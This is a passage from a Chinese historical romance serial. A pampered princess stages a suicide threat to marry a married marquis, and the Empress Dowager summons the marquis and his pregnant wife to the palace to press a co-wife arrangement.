她不必去细究这发簪究竟是朱氏有心留下,还是薛望无意遗忘,她只需要知道这发簪代表的意义就足以——郡主有意,朱氏有心,薛望暧昧不明心中还未做出决定。
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薛望看着手中精巧的木匣子,上好的檀木,散发着一阵一阵的幽香,和几天前成安郡主送来那些东西一模一样。
他分明是让人退还回去——是朱氏单独留了一份,或者是成安郡主单独给朱氏送了一份?
他一时间来不及去想这许多,只抬眼看向了面前的沈霜晚,她也正看着他。
“我用不上这些东西。”薛望说道。
沈霜晚嘴角翘了翘:“不管侯爷能不能用上,这都是送给侯爷的,放我这里便太多余了。”
薛望静默了片刻,他放下了这木匣子:“我并不打算与这位郡主有过多的牵扯。”顿了顿,他又轻叹了一声,“这只是母亲自说自话一厢情愿,你不必把这些放在心上。”
“是么?”沈霜晚不再看他了。
“我成亲多年,再过数月连孩子都有了,为何要去招惹什么郡主呢?”薛望却盯紧了沈霜晚,“难道你觉得我会和那郡主有什么往来?这实在太荒谬了些。”
“所以全是郡主的一厢情愿?”沈霜晚问,“无缘无故,长公主嫡亲的女儿,皇室贵胄金枝玉叶,为什么要对一个有妇之夫如此有意锲而不舍?”
薛望语塞,竟不知如何说下去了。
沈霜晚伸手打开了那木匣子,拿出了那支长长的金簪,送到薛望眼前去:“你看这金簪,是否有些眼熟?”
“眼熟?”薛望皱眉。
“七夕那晚,你回家时候,头上便戴了这么一支金簪,只不过略小巧一些,与这一支正好是一对。”沈霜晚语气稀松,“那日你说你在外面夜游时候碰见了乐昌郡王和成安郡主兄妹两人,一见如故,便相约游船饮酒,过了三更才被送回来。”
薛望面色露出几分难看:“为何又说起了数月之前的事情?”
“只是怕侯爷认不出来罢了。”沈霜晚淡淡说道。
薛望不再说话了。
他当然记得七夕的那天晚上,那天夜晚他与成安郡主兄妹俩一起饮酒,他们在昆明池上述说畅快聊着诗词人生,傲然而快意。
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长公主府中,成安郡主袁嘉儿站在高脚椅上,把一条白绫抛过了房梁,作势要打结再把自己脖子伸进去。
屋里的侍女跪了一地,哭喊着求成安郡主从凳子上下来。
她一边小心听着屋子外面的情形,一边对着屋子里面的侍女们斥道:“吵什么!不许吵!我都听不到外面的动静了!”
侍女们相互看了一眼,既不敢上前去把郡主给拉下来,也不敢继续哭喊。
外间仓促的脚步声奔走,她猜测着自己的母亲到底什么时候才会过来。
把脖子伸到那白绫中试了试,屋子里面的侍女们又惊呼起来。
成安郡主烦躁地退出来一跺脚,怒道:“安静些!”
终于,武阳长公主带着人急匆匆从外面进来了。
屋子里的情形让长公主差点儿仰倒过去,幸好是身边的乐昌郡王眼疾手快给扶住了。
成安郡主心头一喜,便把脖子重新伸到了白绫中,双手拽着白绫,认真看着自己的母亲和兄长:“阿娘,阿兄,我就是要嫁给永平侯薛望,要是你们不同意,我今天就吊死在这里!这样一了百了,我们谁都不再烦恼了!”
“你下来!”乐昌郡王怒喝一声,命左右上前去把成安郡主给拽下来,“你非要气死母亲
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吗!”一边说着,他一边要扶着长公主先坐下。
长公主颤巍巍站稳了,她扶着儿子,看着要上吊的女儿,脑子嗡嗡作响。
高脚凳上的成安郡主把脑袋搁在那环结上,威慑周围的侍女不许他们上前来,口中道:“反正你们都不在乎我的想法,我今日死了阿兄和母亲也是不会心疼的。等我走了,阿兄照顾母亲,定能活个长命百岁。我去阴间找父亲便是。”
“站着做什么,去把她拖下来!”乐昌郡王再次命令侍女上前去。
成安郡主踮起脚,作势要蹬开脚下的凳子,侍女们只得再次停了下来。
“你下来,我们好好说。”长公主竭力平静了一番,看向了成安郡主,“不过一个男人,为何要寻死觅活的?”
“母亲答应我的请求不行吗?不过一个男人,为何母亲要为难我?”成安郡主不高兴地撅起嘴巴,“分明是母亲和阿兄在为难我!”
乐昌郡王已经从长公主那里知道妹妹看上了永平侯薛望的事情,他此刻心里憋着火,他让侍女们上前来扶住了母亲,自己一撸袖子上前去就要亲自把妹妹给摘下来。
成安郡主见状直接把凳子一蹬,整个人顿时龇牙咧嘴挂在白绫上。
侍女们此刻一拥而上抱住了成安郡主的双腿,乐昌郡王抽出佩刀斩断了那白绫——闹剧结束。
“你要死也别死在家里,有本事去永平侯府门口死啊!”乐昌郡王一把拽起了自己妹妹,“到时候让京城的人都看看,你对永平侯的爱天地日月可鉴。”
“那你们放我出府啊,放我出府啊!”成安郡主半点也不怕自己哥哥,“是你们把我关在家里的!”
“你……你!”乐昌郡王被这一句句顶得说不出话来,只好松手转头就走。
“反正我就喜欢他,母亲,阿兄,你们要是真的不答应,那我就真的去死了。”成安郡主嘟着嘴巴看向了自己母亲,“这不过是个小小心愿,到底为什么不让我如愿?你们要是都不答应,我就进宫去找外祖母,外祖母会答应的!”
“不许进宫!!!”还没走出屋子的乐昌郡王转身怒吼,“你是要把我们一家人的脸、整个皇室宗亲的脸全部都丢干净吗!!!”
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13. 迟雪居士
薛望离开了正院。
走在回去前院的夹道上,他在想许多事情,他心中烦闷。
府中的事情已经渐渐脱离了他的控制。
他不明白朱氏为何偏生要在这件事情上如此强横插手。
难道她便那样讨厌沈霜晚?
可他也不喜欢沈霜晚现在咄咄逼人的样子,她似乎变得强硬了,若是从前,她必定不会把那金簪拿到他眼前来的。
是因为有孕在身,觉得此生有了依靠,所以终于不再掩饰原本强硬的性子了?
他实在厌恶极了这些事情。
身后,长随追上来,手中捧着那木匣子,小心翼翼问道:“侯爷,这匣子……要如何处置?”
薛望侧头看了那木匣子一眼,摆了摆手:“收起来吧!”
长随应下,便不再多说什么,安静跟随在了薛望身后。
薛望想起那位成安郡主,也想起他原本想要去结交的乐昌郡王。
他长长叹了口气,他此刻只恨自己父亲去得太早,他若能有实差何至于此呢?
他倒是有些理解朱氏了,他自己无根基也无兄弟扶持,舅家中落,妻族更是破败,他若要寻求助力,本家和舅家已经无法更改指望不上,唯有妻族……
可他,难道真的要拼着名声不要让沈霜晚下堂?
那沈霜晚肚子里的孩子怎么办?
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沈霜晚靠在软榻上,漫不经心地翻着书,心中却在算账。
她让承月典卖的三套书约能够她一两年的用度,她总算有了些底气,敢去想将来如何了。
人总是在有了银钱有了立身之本后才敢去想将来的。
这时,那身份不明的声音突然响起来了。
“你不应当把那金簪拿出来。”他道,“此为诛心之举。”
诛心?
沈霜晚突然觉得有些好笑了,她难道还伤害了薛望么?
那声音接着道:“夫妻之间原本该是信任,他信任你,你信任他。他今日前来,原是以为你银钱不凑手,他甚至不知道这金簪被送到了你这里。”
所以我应当假作不知道?沈霜晚在心中嗤了一声,我装作不知道,那金簪便不存在了么?
“你这样会让他感觉难堪。”那声音道,“这无异于是欲加之罪。”
那么你是以怎样的身份来给我定罪呢?沈霜晚放下了手中的书,她在意的一直都是这一点,这声音出现了如此之久,他到底是谁?
那声音并没有回答,他再次消失了。
仿佛他无法说明他的来历,又或者是不想说出他自己的身份。
沈霜晚闭了闭眼睛,她想起那些狰狞的梦,无论这声音来自何处,她很肯定,这声音希望她忍耐一切。
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长宁宫中,仪王正在给皇后展示他最近几月搜罗到的珍本古籍。
皇后笑着听着自己儿子头头是道地说着这些书的来历和其中的珍贵之处,最后点了点头,道:“既然如此珍贵,便拿回去好好藏起来,将来也好传之子孙。”
仪王一边点头一边道:“自然是要好好藏起来的,我就给母亲看一看,别人都不让看。”
皇后拍了拍仪王的脑袋,道:“我那儿还有些你大哥以前留下的书,你要是喜欢,也可以去挑一挑。”
“那些就留给侄女吧,让她有个念想。”仪王摆了摆手,“我不抢她的东西。”
皇后听着这话,忍不住叹了一声,道:“延心明年出孝,也不知你父皇有什么安排。她已经十九岁,按理说应当嫁人,可没有你父皇的话,就连我也不好贸然给她做主。”
“这有什么,到时候我去说就是了。”仪王很无所谓地摆了摆手,“母亲不要为这些事情烦恼。”
“你自己都是一团乱。”皇后很无奈地看着儿子,“前天你外祖母还进宫来了一趟,说杨氏和你的事情呢!”
“舅舅和表哥也去我府上了。”仪王满不在乎地收拾着刚才他摆开的书,“我没见他们,他们喝了一天茶然后走了。”
皇后听着这话一时间竟然不知道是夸自己儿子还是同情自己兄弟,有些话到了嘴边都不好说出口了,只好摸了摸儿子的硬扎扎的头发,道:“随你吧!”
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仪王乐得不聊这些,一边收拾书,一边又向皇后道:“这次收到的三套书是同一人典卖的,母亲你看这个钤印,迟雪居士。”他指着扉页上众多印章其中之一说着,“这个居士前些年还出过好几幅画,后来就销声匿迹了。没想到这次收书又遇到他。”
“听着像是家道中落,先卖画后卖书的。”皇后顺着仪王指的位置看了一眼那枚印章的样子,“不过这章看着也不新,说不定只是曾经的某一任藏家。”
“最好只是某一任藏家了。”仪王合上书,语气中带着淡淡的遗憾,“否则这人要么是走投无路连家传书籍都要卖了,日子怕是过不下去。”
“这种事情也不少见。”皇后淡淡道,“若他有才华又肯上进,也总能有东山再起之时。”
母子二人正说着话,忽然外面有女官进来了。
“皇后娘娘,仪王殿下。”女官上前来行了礼,“太后娘娘请皇后娘娘过去一趟。”
“是什么事情?”仪王看了一眼那女官,没有起身的意思,“母后今日身体疲乏,若不是要紧的事情,我等会去祖母那儿看看就是了。”
女官看了眼皇后,又看了看仪王,迟疑了一会才道:“是武阳长公主与成安郡主进宫来了,正在太后娘娘那儿哭闹。太后娘娘没办法,想请皇后娘娘过去劝解一番。”
皇后近来不怎么理事,宫里的事情都丢给了儿子在处理,听着女官的话只觉得莫名:“成安郡主为了什么哭闹?”
“我知道,是为了个男人。”仪王把一套书收好了,然后按住了皇后起身的动作,“母亲别去,成安郡主喜欢了一个有妇之夫,母亲只当不知道了。”
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衍庆宫中,太后皱着眉头听着自己女儿述说外孙女为爱上吊的事情,看着女儿哭得一把鼻涕一把泪,再又看向了另一边抱着自己大腿也抽抽噎噎停不下来的外孙女,一时间都不知如何反应了。
“你们先停下来。”太后不得不这么说道,“不就是个男人,先说清楚到底是什么情形再哭,行不行?”顿了顿,她再催促地看向了身边的宫女,“怎么皇后还没来?”
14. 太后
太后对唯一的女儿武阳长公主是十分溺爱的。
这份溺爱自然而然也顺延到了长公主的一双儿女身上。
袁嘉儿出生时候先封县主,两年前又因丧父缘故,额外加恩封了郡主。
此刻听着她们母女俩各执一词的哭诉,太后只感觉脑子嗡嗡。她年近八旬,衍庆宫中连争吵拌嘴的声音都少见,就怕惊到她,也就只有亲生的女儿和外孙女敢这样大哭大闹了。
去到皇后宫中的宫女终于匆忙回来,她小心上前来回禀道:“太后娘娘,皇后娘娘说今日身子不适,头疼得很,实在无法动弹,正请太医在医治,无法到娘娘这边来了。”
太后听着这话,虽然恼火,但也无话可多说。她叹了口气,向那宫女道:“皇后这一向身子骨病弱,把上次进贡的山参送予皇后吧!”
宫女应下,便退到一旁。
武阳长公主与成安郡主渐渐收了哭声,母女俩谁也不搭理谁,分别在两旁坐了。
太后叹了口气,拍了拍女儿肩膀,又摸了摸外孙女的脑袋,道:“不过是个男人,你们俩哭得我头都疼了,也没说清楚究竟是个什么事情。”顿了顿,她看向了外孙女,“是你喜欢的男人,你来说。”
武阳长公主瞪了女儿一眼,到底没说话。
成安郡主擦了擦眼泪,不高兴地也瞪了自己亲娘一眼,才向太后道:“娘娘,我看上一个男人,想嫁给他。但母亲偏偏不同意,还把我关起来禁足不让我出去!就因为这个,我才进宫来想请娘娘给我主持公道的!谁知道我才想办法出了门,母亲又追上来了!”一边说着,她一边又看向了武阳长公主,口中嘟嘟哝哝道,“难道母亲非要我找个不喜欢的男人,做一对怨偶?”
武阳长公主眼睛瞪大了,她气得站起来,正要把女儿拎起耳朵教训时候,被太后给按住了。
“所以这男人有什么配不上我们嘉儿的地方么?”太后责备地看了女儿一眼,“当初你相驸马时候,我都是没阻拦的,这婚姻之事,嘉儿自己有主见是好事。”
成安郡主抱着太后的胳膊,撒娇地摇了摇,道:“他很好啊,有爵位在身,又高大威猛帅气,家里关系也简单,我嫁给他,既不用应付那些什么妯娌姑子,也不用管什么叔叔伯伯的长辈,自己当家做主,不知道有多好呢!”
“那你怎么不对娘娘说,你看中这个好男人已经有妻子了,他妻子现在还有孕在身呢?”武阳长公主简直无法理解女儿对一个有妇之夫的执着。
太后听着长公主的话,带着几分不理解看向了成安郡主:“有妇之夫?你母亲没说错吧?”
“有妇之夫怎么了,让那个女人下堂就是了。”成安郡主很不在意地撇了下嘴,“这又不是什么大不了的事情……”
“母后,你听听!你听听她在说什么!”武阳长公主尖叫着要站起来打女儿,再一次被太后给拦下了。
太后拍了拍女儿的手,语气平静道:“先听她说完,你吵得我头疼。”说着她重新看向了成安郡主,问道,“所以他姓甚名谁,是个什么爵位?你如何认识他,又为什么喜欢他?”
成安郡主便道:“他叫薛望,永平侯。今年七夕夜游我跟着哥哥一起出门时候碰到他,他和我们一起游船吟诗,他十分有才华,也非常有风度,所以我喜欢他。”
“就只见了一次?”太后接着问。
“当然不是只有一次呀!”成安郡主坦然说道,“后来我和哥哥一起出去的时候碰到过好多次呢,还有宫宴上也见过。他既有文人的淡然风姿,又有武将的魁梧霸气,我每每一看到他,就觉得整个人心都明亮了!我喜欢他!”
太后沉吟了片刻,看向了长公主:“你见过吗?”
武阳长公主压着火道:“见过一次。”
“你觉得如何?”太后接着又问。
武阳长公主抿了下嘴,道:“人的确是一表人才,他如今只有爵位没有实职,我原是打算让他去地方上得个实差。他说家中妻子有孕不便随行。”说到这里,她再次看向了成安郡主,声音有些疲惫了,“别人心中满满当当都是他的妻儿,你到底在闹什么!”
“他又不喜欢那个什么沈氏。”成安郡主满不在乎说道,“我打听过了,沈氏与他不过是当年两家长辈强行定的亲,沈家败落,沈氏强行嫁过来,薛家才不得不捏着鼻子应了的!”
太后摆了摆手,示意女儿暂时别说话,只又看向了成安郡主:“你还小呢,说不定明日又遇到个喜欢的,到时候要是后悔嫁了这人,怎么办?”
成安郡主道:“之前母亲不是开了宴会让京中那些世家子弟书生学子都来过了么,我都看不上!”
太后转而看向了武阳长公主,道:“宣那个什么永平侯进宫来让我看看。”
成安郡主眼睛亮了起来,整个人都扑在了太后身上:“娘娘!你对我真好!”
武阳长公主则是眉头紧皱,她道:“母亲,你怎么能惯着她这样胡来!这……这将来她怕不是要被人骂死啊!”
“有什么抵得过她喜欢呢?”太后摸了摸成安郡主的头发,“她有你这个长公主母亲,还有当皇帝的舅舅,还有我这个当太后的外祖母,实在不必理会那些世俗的所谓规矩。喜欢便行了。”顿了顿,她又道,“不过话虽如此,若那永平侯不愿意娶你,他也不喜欢你,你还要嫁吗?”
这话让成安郡主露出沉思神色,过了许久她才道:“他不可能不喜欢我,每次他和我聊天时候都是眉飞色舞开心的样子。”顿了顿,她语气又笃定起来,“他一定也喜欢我。”
武阳长公主已经不想再说什么,她沉默地在一旁坐着,想着许多将来的事情。
若成安郡主便就是要一意孤行下去,她到底要怎么办呢,有没有一些办法可以稍微挽回那么一些名声,不叫人将来一听这事情,便露出鄙夷神色呢?
她心中闪过一个恶毒的念头,若不然便叫那沈氏死去好了,鳏夫总强过有妇之夫。
太后不知道自己的女儿到底在想什么,她只招了宫人
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进来,命她去传旨,把永平侯宣进宫来看一看。
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秋高气爽时节,阳光似乎比夏日更悠长。
沈霜晚靠在窗边晒了一会太阳,便觉得困乏起来。
那些消失已久的层叠的梦在这个午后重新山呼海啸一般席卷而来。
梦中的薛望娶了郡主,他并没有似他现在这样坚定的模样,郡主嚣张跋扈地出现在府中,正院变了模样,她亲手布置的一切在转身之后变成了陌生的模样。
“好了,让你当平妻还要怎样,贪婪的嘴脸最令人厌恶。”那位郡主如此说道。
她想要辩驳,却发不出任何声音。
梦境仿佛漩涡,而她便在漩涡中央,被梦中的荒谬拉扯着下沉。
这真的是梦吗?是真的吗?
突然,她听到有人在喊她。
“夫人,醒一醒。”
是承月的声音。
沈霜晚猛然惊醒,忽然有些分不清这究竟是真还是幻。
为何那些已经淡了的梦又重来?
“夫人,宫里太后旨意,宣了侯爷进宫去了。”承月在一旁说道。
沈霜晚缓缓回过神来,她看向了承月:“太后?”
“是。”承月点了头,“刚走没多久呢!”
沈霜晚看了眼外面的天色,她感觉到微妙的朦胧的疏离感,眼下真的是真吗?
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麟德殿中,内侍向今上呈报了太后召见外臣的事情。
今上把手中的奏疏放到一旁,有些奇怪地看向了内侍:“今天不是长公主来看母后,怎么突然又要召见外臣?”
内侍忙道:“听说是长公主与郡主因为亲事在太后娘娘面前吵闹,太后娘娘便招那人进宫看看。”
“那人现在何处?”今上有些好奇了。
“已经在宫门口等候。”内侍忙回答道。
“朕也去替皇妹看一眼好了。”今上起了身,忽地又想起了皇后,“皇后在太后那里吗?”
内侍忙道:“皇后娘娘今天头疼传了太医,仪王殿下在娘娘身边伺候着。”
“哎,那朕去看就行了。”今上一边说着一边往外走,“朕倒是要看看是怎么个人让皇妹和她的宝贝女儿吵闹起来。”
内侍不敢应声,只喏喏跟在今上身后。
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宫门口,薛望带着许多疑惑跟在内侍身后进到皇宫中。
顺着甬道绕过了前朝,又转了方向,影子便从侧边跳到了前边。
再又转了几个弯,变成逆着光走。
薛望低着头,只觉得这阳光实在刺眼得很。
也不知走了多久,带着他的内侍停下脚步了,前方属于皇帝的仪仗来到了宫室之外。
他跟着内侍一起在旁边跪下,心中有些疑惑,他今日不是奉的太后旨意?为何今上也在此处?
正是摸不着头脑时候,今上身边的内侍走到他面前来了。
“永平侯,陛下让你过去。”内侍说道。
15. 进宫
薛望只有在年节宴会之类的时候才能远远见一见今上。
原因无他,而是如今京中有爵之人如过江之鲫,他这样无实差的侯,又与天家没什么太多牵扯,实在是没什么太多机会觐见。
他之前寻仪王也好寻乐昌郡王也罢,不过都是想得一个机会。
但今日……却似乎并不是一个好时机吧?
薛望如此想着,起身跟随内侍上前去,向今上行了礼。
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“起来吧!”今上看了他一眼,便示意他起身,“朕还记得你父亲,他算得上是铁骨铮铮的谏臣,敢在朕面前毫不留情直言过错的,只有他一个。”说到这里,今上的语气中流露出些许怀念,他看向了薛望,“你父亲去世快十年了吧?”
薛望不敢直视今上,只谦卑答道:“明年就十年了。”
“十年啊……”今上叹了一声,“竟然都过去那么久了,若是你父还活着便好了。”
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这话薛望不敢接,他甚至都不知道今上为何会有这样的一叹。
他的父亲薛聿去世时候他才十二岁,薛聿的许多事情他还来不及知道,再后来朱氏当家,便不叫他再苦读诗书,而是去跟着朱家舅舅们学武。
他突然觉得自己的父亲对他而言其实与陌生人没有任何分别。
但于今上而言却并不是。
他感觉到从心底生出许多懵懂和茫然。
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今上看向了一旁内侍,忽地又好奇道:“所以太后要见永平侯?”
内侍忙点头道:“正是。”
“永平侯尚未娶妻?”今上皱了皱眉头重新又看向了薛望,“你今年多大了?”
“臣今年二十,已娶妻了。”薛望猛然回过神来,意识到今日见太后是什么事情了,他不敢抬头,只恭敬地说道。
今上挑了眉,忽然有些明了为何自己妹妹和外甥女吵闹到太后面前来,最后太后还要见一个外臣。他把薛望上下打量了一番,只道:“既然如此,便进去吧!”
薛望喏喏应下,跟随在了今上身后。
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太后面前,武阳长公主已经平静了下来。
一旁成安郡主正与太后热闹地说着话。
长公主看着女儿,想到薛望,再想到女儿的亲事,那些心思颠来倒去,始终拿不定主意。
若直接把沈氏赶走,实在是过于难看了,又授人话柄。
可若杀了她,她腹中毕竟有薛家的子孙,到时候若让薛家人有了心结,她的女儿说不定还会与丈夫离心,若不到万不得已,也不应当这么做。
她没见过沈氏,但她见过许多和沈氏相似的女人,她们都是好拿捏的,尤其是肚子里有孩子,她就会为了孩子低头屈服认命,或者可以许一些好处给她,叫她退让。
只要不把她逼迫到无路可走,她是不会鱼死网破一样闹起来的。
慢慢的,长公主的心也定了下来。
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外面有内侍进来通传说圣上驾到了。
长公主猛地回过神来,立刻起身拉起了成安郡主,到殿外去迎接。
今上阔步进到殿中,先免去了长公主和成安郡主行礼,再上前去与太后见过,便就在一旁坐下了。他指了指薛望,道:“过来吧,这儿没外人,也不必太拘礼了。”
薛望小心上前,规规矩矩给太后行过礼,然后肃立在一旁。
太后上下打量了薛望一番,又叫他上前,面色并不算多和蔼,道:“我听嘉儿叽叽喳喳说起你,实在好奇是怎样一个人,被她挂在嘴巴边上。”
一旁成安郡主露出羞涩的笑,她认真而专注地看着薛望,仿佛殿中只有他一人一般。
长公主看了一眼女儿这幅样子,目光暗了暗,没有说话。
薛望谨慎地上前了一步,并不敢贸然说话。
太后若有所思又看了薛望一眼,转而看向了一旁的今上:“圣上觉得这位永平侯如何?”
“唔,算是一表人才吧!”今上如此说道,“京中这样的官宦子弟甚多。”
这话听得薛望的心往下沉了沉。
“虽然京中那样多的官宦子弟,但我喜欢他呀舅舅!”成安郡主上前来了,她甜甜地扑在了太后面前,眼睛闪亮亮的,“舅舅,我想嫁给他。”
今上看了长公主一眼,笑道:“你母亲答应了么?”
“外祖母都答应了!”成安郡主笑着对今上说道,“外祖母说,人生难得有个喜欢的人。”
薛望忍不住抬头悄悄看了成安郡主一眼,他忽地又想起了沈霜晚。
他今日才刚与沈霜晚不冷不热地争执过那么几句。
他忽然感觉今日的自己站在了命运的十字路口之上,他的人生或者会因为今日而改变。
他压下了心中的紧张,用从未有过的谦恭语气缓缓开口,露出了十二万分的诚惶诚恐:“臣有罪,不敢受郡主喜爱。臣已有妻子了。”
“可我喜欢你。”成安郡主看着他,不高兴地嘟起嘴巴,“难道你不喜欢我?”
“臣不敢。”薛望低下头。
“舅舅,外祖母,我就喜欢他!”成安郡主看向了今上和太后,接着又去看长公主,“娘,我反正就要嫁给他。”
武阳长公主却不答话,只沉默地站在一旁。
今上笑了一声,道:“永平侯既有妻子,京中青年才俊无数,你不如再挑一挑。”
成安郡主敢在太后和长公主面前撒泼吵闹,却并不太敢在今上面前放肆,她抓着太后的手,祈求地摇了摇。
“女儿家家一片痴心,恐怕是难消停。”太后笑着说道,“我看倒是不如成全了。”
太后甚少为了什么事情在今上面前开口,哪怕是娘家有人来求,她也是一概推掉的,故而她今日说出这话,今上便认真听了一听。
太后又道:“我是老了,见不得小辈在我面前哭哭啼啼,好不可怜。这婚姻之事,有情人才能成眷属。若叫嘉儿嫁了不喜欢的人,她终日垂泪,我想一想就觉得伤心得很。”顿了顿,她又看向了薛望,接着又道,“我看永平侯的确是品貌非凡,不知你可愿意娶
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我家女孩儿?”
薛望心一跳,只跪到地上,低着头道:“臣不愿辜负发妻。”
“如此,便宣你妻子也进宫来,问一问她,可愿意与我家女孩儿做姐妹。”太后看向了今上,“圣上觉得如何?”
今上便顺着自己的老母亲道:“便依着母后意思吧!”
薛望心跳如雷,他从未如此清晰地意识到,在这件几乎可称荒谬的事情中,他竟然能寻到一个两全之法,他或者便能既保全了名声,又保有了美人。
.
永平侯府中,沈霜晚安坐在房中,教承月绣一朵精巧的海棠花。
她耳边,那莫名声音在喋喋不休。
这声音似乎今日格外聒噪,甚至有些莫名的前言不搭后语。
一时在指责她实在对薛望不够精心,一时在说她实在不应当把那些书都卖掉,一时又在说薛望原就是人品无暇。
她漫不经心听着,忽然觉得这声音或者都不算是一个人,也许是两个人也说不定。
想到这里时候,耳边那莫名声音猛的一静,沈霜晚挑了眉,没想到自己随便猜一猜还真的能猜出个确切结果来。
若是两个人,会是谁呢?
这时,承星从外面匆忙进来了。
“夫人,宫里来人,请夫人进宫去。”承星一边说着,一边赶紧招呼承月过来帮忙把大礼服找出来,又叫了小丫鬟去拿妆奁过来帮沈霜晚重新梳头。
沈霜晚疑惑地看向了承星:“进宫?”
“宫中的内侍宫人正在外面等候,老夫人在陪着他们说话。”承星说道。
“之前侯爷进宫也没说是为了什么,这会又要我进宫去。”沈霜晚想到了她的梦,冥冥之中她感应到了一些什么,梦会是真的吗?
她招手让承月和承星不必太急忙,扶着一旁小丫鬟站起身来,道:“先去外面见一见宫中来人,总得要知道为了什么事情。”
承月和承星便放下手中事情,唤来了众多丫鬟,簇拥在沈霜晚身边,与她一起往前面去。
.
前院中,朱氏颇有些忐忑地与宫中来人寒暄着。
先是薛望进宫,然后现在又叫沈霜晚进去,是宫中出了什么事情?
她心中猜不出缘由,但眼前的宫人却是口风极其严密,任她如何旁敲侧击,他们都只是笑而不语。
忽然听到后面传来通传,她回头便见沈霜晚披着斗篷进到了厅中来。
“母亲,我听说宫中来人,也未说清是何事由,便过来问一问。”沈霜晚扶着腰走了两步站定了,看向了厅中陌生的宫人,“还想请问二位,是我家侯爷在宫中出了什么事情么?”
宫人们相互交换了眼神,为首那位便道:“只是有件事情想请夫人前去商议,这事情却不好说太多。夫人如今有孕在身,太后命我们准备了马车和肩舆,免得路上颠簸。”
沈霜晚疑惑地又看了一眼朱氏,见朱氏脸上也是茫然居多,便点了头,道:“还容我去换身衣服。”
宫人们便道:“请夫人慢慢来就是了。”
16. 平妻
太阳渐渐开始西落。
天边的晚霞悠长。
长宁宫中,仪王正陪着皇后一起想晚膳吃什么。
“天冷了,喝点羊肉汤暖一暖正好,给母亲来一碗怎么样?”仪王向皇后笑着说,“我就不喝了,喝多了太燥。”
皇后道:“那你想吃什么?上回听你说想吃螃蟹,让膳房挑几只过来?”
仪王想了想,还是摇了头,道:“不如来条鱼好了,做个鱼片。”
“鱼片也不错。”皇后看了眼旁边女官记下的菜单,又道,“我们两人吃,再加道汤,山珍菌菇都可以,让膳房看着上吧。”
母子俩决定好了晚膳吃什么,正打算再聊一聊其他时候,今上身边的内侍从外面进来了。
“皇后娘娘,仪王殿下,圣上在衍庆宫,想请皇后娘娘与仪王殿下一并过去用晚膳。”内侍恭恭敬敬行了礼之后如此说道,“圣上还说,若殿下不想吃太后娘娘那边的饭菜,可以让前头送过去。”
仪王撇了下嘴想说什么,但被皇后按住了。
“既然陛下这么说,我与十一郎等会便过去了。”皇后如此说道,“记得让膳房刚才十一郎特地点的那道鱼片送过去。”
“还有羊肉汤。”仪王跟了一句。
内侍赶紧都记下,然后又道:“圣上便叫奴婢跟着娘娘和殿下。”
“怕我跑了?”仪王挑眉。
这话让内侍额头上的汗都冒了出来,他忙道:“是有些事情,想悄悄对娘娘说。”
“我不能听?”仪王危险地盯着这内侍。
皇后笑了一声,道:“你说吧,仪王听了也没什么。”
内侍想了想,似乎心中很是挣扎了一番,然后才开口道:“陛下想请娘娘过去帮忙解决一件棘手事情,就是……武阳长公主与成安郡主……”说到这里,这内侍又欲言又止起来,末了还是吞吞吐吐没了声。
皇后和仪王一起看向了那内侍,露出疑惑神色。
“没了?”仪王好奇,“这话还没开头就没了?”
内侍又想了想,末了道:“成安郡主看上了永平侯,太后娘娘做主让永平侯夫人进宫来了。”
“让人家夫人进宫来做什么?”仪王嗤了一声,“想用强权让人家夫妻和离?”
“呃……所以陛下想请娘娘过去调解一下,最好别出这样的事情……也太难看了些……”内侍擦着汗把话说完了。
皇后轻轻摇了摇头,向那内侍道:“我知道了,你去给陛下回话吧!稍后我与十一郎一并过去。”
内侍忙应下来,不敢多看皇后和仪王一眼,赶紧退下了。
“母亲要去管这事情?”内侍走了,仪王没好气地哼了一声,“说白了就是仗势欺人,还有什么好调解的?让那个侯夫人把袁嘉儿的脸挠花了好了。”
“先去看看。”皇后淡淡道,“总不好叫他们欺人太甚,到时候皇室脸上也没有光。”
仪王于是扶着皇后起身,无所谓道:“不过说不定那侯夫人就是忍气吞声的人,这事情人人都觉得丢脸,她大约也会觉得没面子,最后谁也不声张,便当做无事发生罢了。母亲就只当是过去看了个热闹。”
皇后笑着看了眼儿子,道:“若不是这样的人怎么办呢?”
“……”仪王想了想,半晌无语,只好道,“我也不知道应当怎么办。”
.
坐在窄小的肩舆上,沈霜晚感觉到有些紧张。
自薛望袭爵后,年节时分她也跟随朱氏一起进宫拜见皇后太后,乌泱泱一大群人跟在内侍宫人后面,先去到长宁宫,再去衍庆宫,问安说过祝福的吉祥话语,然后便从角门离宫回家去。
她不曾像今日这样单独被召进宫。
进宫的路上,宫人倒是详细与她说了衍庆宫的情形,大约是因为被叮嘱了这些事情只能说给她知道,所以他们在朱氏面前才没有吐露。
“太后娘娘的意思是,郡主的喜欢是恩典,也是赏赐。”宫人最后这样对她说。
沈霜晚点了头,表示她已经知道。
到衍庆宫外时候,正好夕阳落下,沈霜晚扶着腰慢慢下了肩舆,然后跟在宫人身后进去那巍峨的森严的宫殿。
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薛望已经在殿外等候了许久。
看到沈霜晚,他快走了两步来到她面前。
“陛下允我先与内子说几句话。”他向一旁内侍说道。
内侍看了眼跟在薛望身后的宫人,见那宫人颔首,便退到一旁去。
薛望看着沈霜晚,夕阳下,她也正看着他。
“今日进宫,是为了一些事情……”他内心挣扎了许久,最后这样开口了,“我与你自小订亲,到如今又成亲有子,无论你怎样想,在我心中你就是唯一的妻子。”
沈霜晚平静地点了点头,他看不出她脸上有什么别的情绪,他也猜不出她在想什么。
“有些事情……”他不知为何感觉心中忐忑起来,他感觉到有许多事情难以开口,“毕竟那是郡主,今日还有圣上和太后在……”
沈霜晚仍然只看着他,他从她面上辨不出喜怒,她只扶着腰,没有说话。
“郡主……郡主对我……”薛望深吸一口气,流露出了无可奈何的模样,“我想起之前与你说过的那些话语,仿佛是笑话……”
“我可以成全你们。”沈霜晚这样说道。
薛望蓦地愣住,他看着她,突然不知应当如何应对。
这不是他想要的回答。
她应当与他哭闹才对,只有她激烈反对,才有郡主的咄咄逼人,才有他的无可奈何,才有他们二人的夫妻情深。
否则,他岂不是一个道貌岸然惺惺作态的伪君子?
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殿内有宫人出来了,她们恭恭敬敬请薛望和沈霜晚两人进去。
薛望原还有许多话想说,但此刻也没有了时间。
他看向了沈霜晚,夕阳下她的面色仍然是平静的,她似乎并不在意今天发生的事情一般。
他回忆着这几个月以来府中的事情,他猛然发现成安郡主这件事情或者比他所想的闹得更大一些,沈霜晚一定是早早就知道了,还有朱氏……他心中生出一些后悔,这件事情上,他实在太被动。
想着这些有的没的,他与沈霜晚一起踏入了殿中。
皇后不知什么时候到来了,她与皇帝一起并坐在上头,正低声说着什么。
太后面色不似方才那样和蔼了,她与武阳长公主一起坐在一侧,而另一
